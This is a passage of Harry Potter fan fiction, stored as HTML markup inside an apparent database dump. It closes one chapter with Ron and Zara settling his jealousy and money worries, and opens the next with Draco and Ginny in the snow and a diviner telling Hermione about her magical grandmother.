style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; &#8220;That down there is Harmon Lee&nbsp; a muggle heir to a grand fortune.&nbsp; He comes in here all the time and Zara spends\ntime with him.&#8221; Candice said looking at her fingernails once again &#8220;if you want\nmy advice I wouldn&#8217;t put up with that behavior, you could do so much better.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked out the window and Zara was gone, he then saw her coming into the\noffice.&nbsp; He saw her smile, but he did not\nfeel like retuning the gesture.&nbsp; He\nwalked up to her stopped staring right at her.&nbsp;\nRon then brushed past her and walked out of the office.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nshifted and looked right at Candice, &#8220;what did you say to him?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing,\nexcept that you couldn&#8217;t possibly serious about him.&#8221; Candice laughed her\nsnobby laugh.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\nwasn&#8217;t the worst thing Candice had ever done or said to one of her\nrelationships, but she was fed up this time Candice had gone too far.&nbsp; Zara walked right over to her lifted her\nhand; it connected with Candice&#8217;s cheek with a loud, echoing SLAP!!</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice\nimmediately lifted her hand to her own cheek, where a bright red hand print was\nforming on Candice&#8217;s cheek rubbing her face.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncare about him very much Candice, I can&#8217;t believe you are so spiteful and cruel\nto&#8212;&#8221; Zara couldn&#8217;t continue, she knew Candice would never change.&nbsp; She was always trying to out do and ruin any\nkind of happiness that Zara had, and she didn&#8217;t even know the reasons why.&nbsp;&nbsp; Zara left the office.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">None\nof them really felt like sightseeing anymore, on the trip back to Zara&#8217;s\nhouse&nbsp;&nbsp; she had never seen Ron so quiet\nbefore.&nbsp; It was disturbing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nglanced over at Zara who was driving her muggle vehicle, he looked behind him\nat Harry and Hermione who were talking quietly and pointing to various places\nout the window of the car. He remembered what Candice had said, wondering if\nshe were right.&nbsp; Was Zara only with him\nuntil she found someone suitable? He hated thinking that, and he couldn&#8217;t\nignore it this time.&nbsp; He finally spoke\n&#8220;Zara who was that muggle you were talking to today.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\na friend, Harmon.&nbsp; He&#8217;s somewhat a close\nfriend of the family.&#8221; She turned slightly smiling at him, &#8220;why do you want to\nknow?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nshrugged, &#8220;you just seemed awfully cozy talking to him, that&#8217;s all.&#8221; He glanced\nout the window.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\narched a brow &#8220;Ron Weasley are you jealous?&#8221; She saw him look back at her and\nshe could clearly see that he was.&nbsp; &#8220;Oh\nthere is no reason to be, Harmon is not what you think.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nreally, how is that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because\nRon, Harmon has a different idea about relationships than you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nwas confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\nhe&#8217;s gay&#8221; She said bluntly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nthought a moment, he looked back at his friends Hermione mouthed he dates other\nguys and he understood.&nbsp; He turned back\nto Zara &#8220;oh, oh I see.&#8221; He felt so stupid for believe anything that Candice\nsaid.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\npulled the car into her garage and they got out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Feeling\nintimidated once again Ron got out of the car slowly, he watched as Hermione\nand Harry walked in front of them.&nbsp; He\nsaw Zara open the door that led from the garage into the house and his two\nfriends walked inside.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nturned to him, &#8220;are you coming inside or are you just going to stand around in\na garage all day?&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nwalked towards her, &#8220;Zara there&#8217;s something we need to talk about.&#8221;&nbsp; He said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nboth walked inside together.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like\nwhat?&#8221; Zara folded her arms across her chest as the door the garage swung\nclosed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like\nthis.&#8221; Ron made a large arm gesture signaling that he was talking about her\nhome.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron,\nI don&#8217;t think my house is the only thing that is bothering you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara\ndo you realize that I have nothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara&#8217;s\neyebrows arched into a question, she knew what he was referring to.&nbsp; &#8220;Ron I don&#8217;t care about that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ncould you not?&nbsp; Look at the way you live\nyou have everything, you don&#8217;t know what it&#8217;s like to struggle and work and\nsave.&nbsp; If you&#8217;re with me&#8212;&#8221; He couldn&#8217;t\ncontinue he was so distraught.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nhave no clue as to what you are saying Ron.&#8221; She was offended by his lack of knowledge.&nbsp; &#8220;You&#8217;ve had it all, a warm loving family who\ncares about you. At least you had a roof over your head, hot meals and a warm\nbed every night.&#8221; She almost couldn&#8217;t suppress the tears of her past, they were\nswelling in her dark eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Ron saw them. &nbsp;He knew she was never one to show emotion like\nthis. Zara was tough, these emotions show weakness. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;My\nlife has not been a happy one&#8221; Zara looked up at him, &#8220;my mom came over from\nEngland pregnant with me without one cent to her name. She used all she had to\nget here. I was born in a humanity shelter.&nbsp;\nYou have no idea what its like to live on the streets, wondering where\nyour next meal was coming from, most of the time you just starved that night\nuntil some rich ass takes pity on you and tosses you a quarter and if your\nlucky you would get a whole dollar.&#8221; She wiped her eyes with a swift hand.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The\nworst part was&#8221; Zara continued &#8220;trying to find a place to sleep, it&#8217;s dark and\ncold. Most of the time you would just sleep under an over hanging roof of a building.&nbsp; When it rains, you can&#8217;t keep dry because the\nrain water slants and hits you anyway.&nbsp; I\nlived that way for thirteen years.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nhad no idea, he felt like such a prat.&nbsp;\nHe had it way better, well maybe not way better.&nbsp; But better nonetheless.&nbsp; His arms went around her, bringing her to\nhim.&nbsp; Comforting her, he stroked the back\nof her hair.&nbsp; &#8220;When did it change?&#8221; He\nspoke softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;When\nI was eleven I got accepted to Salemston, I didn&#8217;t have money for any of the\nsupplies or anything.&nbsp; My mother gave me\nher old things, they were so worn and old I didn&#8217;t know where they came from.\nOr why she even had them, then the school loaned me money for the books and\nother school necessities.&nbsp; I finally had\na warm bed every night, food three times a day. I couldn&#8217;t ask for anything\nmore, I was very content, even when school was over and I had to go back to\nliving on the streets with my mom.&nbsp; &#8220;I\noften asked her why she left the wizarding world for this one. But she never\nanswered.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlooked up at him, &#8220;it wasn&#8217;t until I was thirteen when I received money from an\nabsentee father, it wasn&#8217;t like what we have now, but it was a very generous\namount. It was a start, my mom and I were finally able to get an apartment, and\nthere was even enough left over to start a business.&nbsp; We have often lived outside raves and such so\nwe knew the kind of business was good, so she opened the Club Gothic, it was an\ninstant hit.&nbsp; I have only been living\nhere for less than three years, I often wake up with nightmares about my life\nwhen I was younger.&#8221;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nheld her tight &#8220;I don&#8217;t know why I got all huffy about money Zara, it&#8217;s true\nI&#8217;ve had a very poor existence. I just always think I&#8217;m not good enough, not\nfor anyone and especially not for you. &#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nyou see, you didn&#8217;t have a poor existence. You have a family, people who love\nyou.&nbsp; You have a good heart and that&#8217;s\nwhat I love about you.&#8221;&nbsp;&nbsp; Zara lifted a\ngentle hand, caressing his cheek, she watched him bend until her eyes fluttered\nclosed feeling his lips against hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">========</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">Well I hope Ron&#8217;s money\nissues have been solved, what do you guys think? Well anyway stay tuned for\nChapter 14&#8212;Sweet December.&nbsp; Please Read\nand Review, thanks, Ryoko.</p>\n\n\n\n\n\n\n'),
	(41, 14, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: Alright all the Harry Potter characters belong to J.K.\nRowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin,\nAlina,, Leelee, Kai, Finley and Orvin.&nbsp;\nThose are mine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 14&#8212;Sweet December</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Something\ncold and wet hit him in the back of the head, he felt the snow dripping down\nhis neck. Draco heard the sweet giggles of his lady fair behind him. He turned\naround to find Ginny smiling and holding another snow ball in her hand.&nbsp; She tossed up in the air catching it, she did\nthat a few times threatening to throw it.&nbsp;\nGinny threw the snowball but he ducked out of the way and it sailed over\nhis head.&nbsp; He bent down and scooped up\nsome snow forming it into a snowball and threw it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nsnowball flew hitting Ginny right in the face, she pouted and turned away from\nDraco holding another snowball.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nfelt horrible, he didn&#8217;t want her to be angry with him. It was just a little\nsnowball.&nbsp; He moved over to where she\nwas, staring at the back of her head.&nbsp; He\nloved the way Ginny&#8217;s red hair felt when he ran his fingers through it.&nbsp; &#8220;Ah Ginny don&#8217;t be angry it was just a little\nsnowball.&#8221; Draco spoke softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nvery seriously turned around looking up at him, &#8220;Draco&#8221; she said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nGinny.&#8221; Seeing the hurt look on her face, Draco was determined to make it up to\nher.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here,&#8221;\nand with that Ginny shoved some snow in his face, rubbing it in. She took off\nrunning from him in a fit of giggles.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\nwiping the snow from his face he chased after her, Draco chased her for awhile\nwhen he finally caught her they tumbled to the ground, landing on the soft\nsnow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nlooked up at him, her hand cupped his cheek. &#8220;I&#8217;m glad you decided to stay at\nschool with me.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nglad I stayed too,&#8221; Draco gazed into her eyes.&nbsp;\nHe could see how much affection she had for him, it warmed his\nheart.&nbsp; He had never really known what it\nwas like to feel loved or wanted, until now. His face drifted closer to hers\nuntil they&#8217;re lips met in a soft and gentle kiss just tasting her lips, she\ntasted of sweet cinnamon.&nbsp; He pulled back\nwanting to look at her, Ginny&#8217;s eyes sparkled with a happiness that he brought\nher.&nbsp; He now knew what love was, it was\nonly one word, one thought. Ginny.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nslipped her arms around his neck as he was leaning closer, Draco&#8217;s fingers\ndancing lightly on her cheek, his thumb brushing against her bottom lip causing\nthem to part slightly, she sucked in a breath.&nbsp;\nHis mouth took hers.&nbsp; This time\ntheir kiss was demanding.&nbsp; Their tongues\nmolded, deepened, her arms tightened around him. The world around them no\nlonger existed, all they knew and felt was each others love.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">From\na high window Dumbledore could see both Ginny and Draco holding each other as\nif there were no tomorrow.&nbsp; He heard\nfootsteps walk into the room and stop next to him.&nbsp; Turning, he found Professor McGonagall who\nwas also glancing out the window.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nare you thinking Albus?&#8221; She did not take her gaze from the window.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Their\nlives are going to change drastically.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou speaking particularly of Mr. Malfoy and Miss Weasley?&#8221; she looked at the\ntwo lovers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221;\nHe answered plainly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I didn&#8217;t\nthink so.&#8221; She crossed her arms, pressing a finger against her chin.&nbsp; &#8220;Do you think they are ready?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Dumbledore\nturned, facing Professor McGonagall his warm blue eyes twinkling. &#8220;The task\nthat lies ahead, well I&#8217;m sure they can handle just fine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nturned back towards the window and continued to gaze out onto the world.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\ncome on&#8221; Zara whined shouting up the stairs, she flipped over her wrist\nglancing at her watch.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione looked up the stairs waiting for their friend to finally come\ndown.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8221;What&#8217;s\ntaking him so long?&#8221; Hermione whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshrugged his shoulders continuing to look up the stairs. Ron then came\nbarreling down the stairs in rapid speed.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry,\nI&#8217;m ready so let&#8217;s go now.&#8221; He smiled.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">By\nusing floo powder they landed in The Golden Swan an American style pub and\ninn.&nbsp; The left the Golden Swan into Elius\nBoarderus Road to do some Christmas shopping.&nbsp;\nThey agreed to split up and meet back at the statue of Elius in an hour.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\ngetting some fulfilling Christmas shopping</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nand Harry finally met up by accident of course. They walked together along the\nsidewalk.&nbsp; Feeling like someone was\nwatching them, they both turned around and the same time and saw an old woman\nstanding outside a building.&nbsp; They looked\nup at the sign. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Lady\nof Divination,&#8221; Harry said out loud.&nbsp; He\nlooked over at Hermione who had an eyebrow raised with an as if look.&nbsp; He knew she never believed in that stuff.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nold woman lifted a finger in the air, beckoning them to come across the\nstreet.&nbsp;&nbsp;&nbsp; Hermione shook her head and\nshe and Harry started walking away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nsee the marks of the Orb of Ereena on you.&#8221; The woman shouted at Hermione who\nstopped dead in her tracks.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nwhipped around staring at the woman, <i style="mso-bidi-font-style:normal">how\ncould she know</i>? Hermione thought to herself. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink you should come inside.&#8221; The woman said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked at Harry, &#8220;what do you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nshe knew about the orb.&#8221; Harry replied </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nnot a fraud My Lady.&#8221; The old woman shouted across the cobble street.&nbsp; &#8220;I have been expecting you two for a long\ntime, Miss Hermione Granger and Mr. Harry Potter.&#8221; She said slyly.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione both crossed the street to her, coming face to face with the Lady\nof Divination.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How\ndo you know our names?&#8221; Hermione asked staring at the woman a clears suspicion\nin her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come\ninside and find out my dears.&#8221; The woman said turning, her green velvet cape\nmade a swooshing sound and she walked into her building.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione followed her inside.&nbsp; They\nfound themselves in a room with red velvet along the walls, a cranberry colored\ncarpet seemed to glide like silk along the floor.&nbsp; In the middle of the room sat a large round\ntable with a very large crystal ball in the direct center of the table, on the\nleft side of the table sat a wicker basket with different varieties of scented\ncandles, and on the right side of the crystal ball sat a stack of tarot cards\nand star charts.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nam Inas, please sit.&#8221; She pointed to two chairs around the table as she sat\ndown in front of her crystal ball.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nand Harry looked at each other shrugging their shoulders and then sat down\nacross from Inas, Hermione was first to speak.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;First\nof all I don&#8217;t believe in Divination.&#8221; Hermione said leaning against the back of\nher chair crossing her arms over her chest in defiance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow that, I mean how could you with that crack pot Trelawney teaching at\nHogwarts school of Witchcraft and Wizadry.&nbsp;\nSure on occasion she has made what one&nbsp;\nor two predictions, but I have had a flawless record of very correct\npredictions, I have never been wrong.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nknow Trelawney?&#8221; Harry asked confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\nshe happens to be my good for nothing cousin, she has no talent in the art of\nDivination. I don&#8217;t know why Albus Dumbledore puts up with her? I know she\nprobably has predicated your death about a half a dozen times Mr. Potter, but\nconsidering who you are it&#8217;s not hard to assume you are going to die that very\nday.&#8221; Inas said with a slight smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ngave a small smile, knowing how Trelawney predicted his death every single time\nthey had class and not once has it happened.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nwas still unconvinced and Inas could see it, so Inas turned her full attention\nto Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow about you Miss Granger, I know everything about your past. I know several\npaths your future can take.&nbsp; You were\nrecently involved with Orb or Ereena were you not?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nstill has its hold on you even now, do you find yourself wanting to look at it\nduring the night.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221;\nHermione lied, she still felt the strong pull of the Orb even though it was no\nlonger in her possession.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Inas\ndecided to change the subject, &#8220;have you often wondered why you have magic in\nyou and your parents don&#8217;t.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">How did she know I was muggle born? </i>&nbsp;Hermione thought\nto herself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\nbecause of your grandmother.&#8221; Inas said simply, &#8220;do you remember when you were\nlittle, before you knew you were a witch.&nbsp;\nYou had often visited her, your father made sure you spent a lot of time\nwith her, he himself was born a squib.&nbsp;\nHe felt so ashamed that he might not be able to pass the gift of magic\nto his offspring.&nbsp; And when you were born\nHermione Granger, your grandmother could feel the power in you, you were a very\nspecial child.&nbsp; It was known by your\ngrandmother that you would have great power, she could feel it generating from\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Inas looked at Harry. &#8220;Miss Granger&#8217;s power is\nequal to your own Mr. Potter, it is astounding that you two found each other\nagain.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Again? What did she mean by again?</i> Oh well she would&nbsp;\nthink about that later.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Miss\nGranger you were with your grandmother that day when you received your letter\nfrom Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nremember your mother not wanting you to go, she thought it would be a\nwaste.&nbsp; You would over hear your parents\narguing wildly, your father wanting you to go, telling her it would be good for\nyou, your mother threatening to leave him if he continued on this path of\nnonsense.&nbsp; Your mother did not want you\nto go to a school where you would learn magic tricks that would not help you in\nlife.&nbsp; Your father tried to assure her\nthat they weren&#8217;t tricks, that his mother was a witch and a very good one at\nthat.&nbsp; You finally had enough you stood up\nand walked into the kitchen and told them to stop fighting, you were so mad\nthat you were hovering three feet in the air.&#8221; A smile formed on Inas&#8217;s lips,\n&#8220;your mother fainted seeing you hovering like that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Your\ngrandmother apparated into the kitchen and you nearly fainted, but you\ndidn&#8217;t.&nbsp; She revived your mother using a\nspell and they had a long talk&nbsp;&nbsp; And the\nnext thing you knew you were on your way to Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nglanced up at Inas &#8220;My parents almost split up because of me, how could you\npossibly know that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like\nI said I know a lot about you, the sign in front of my door says I&#8217;m the Lady\nof Divination, I knew all that would happen before it did, I even predicted it\nto a few of Hogwarts professors and so they have been looking out of your name\nto appear on their list of students.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Inas\nlooked at both Hermione and Harry, &#8220;you two need to be really careful something\nis after you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow that already I don&#8217;t need a Diviner to tell me that there is some horrible\nmonster after Harry.&#8221; Hermione was getting angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This\njust 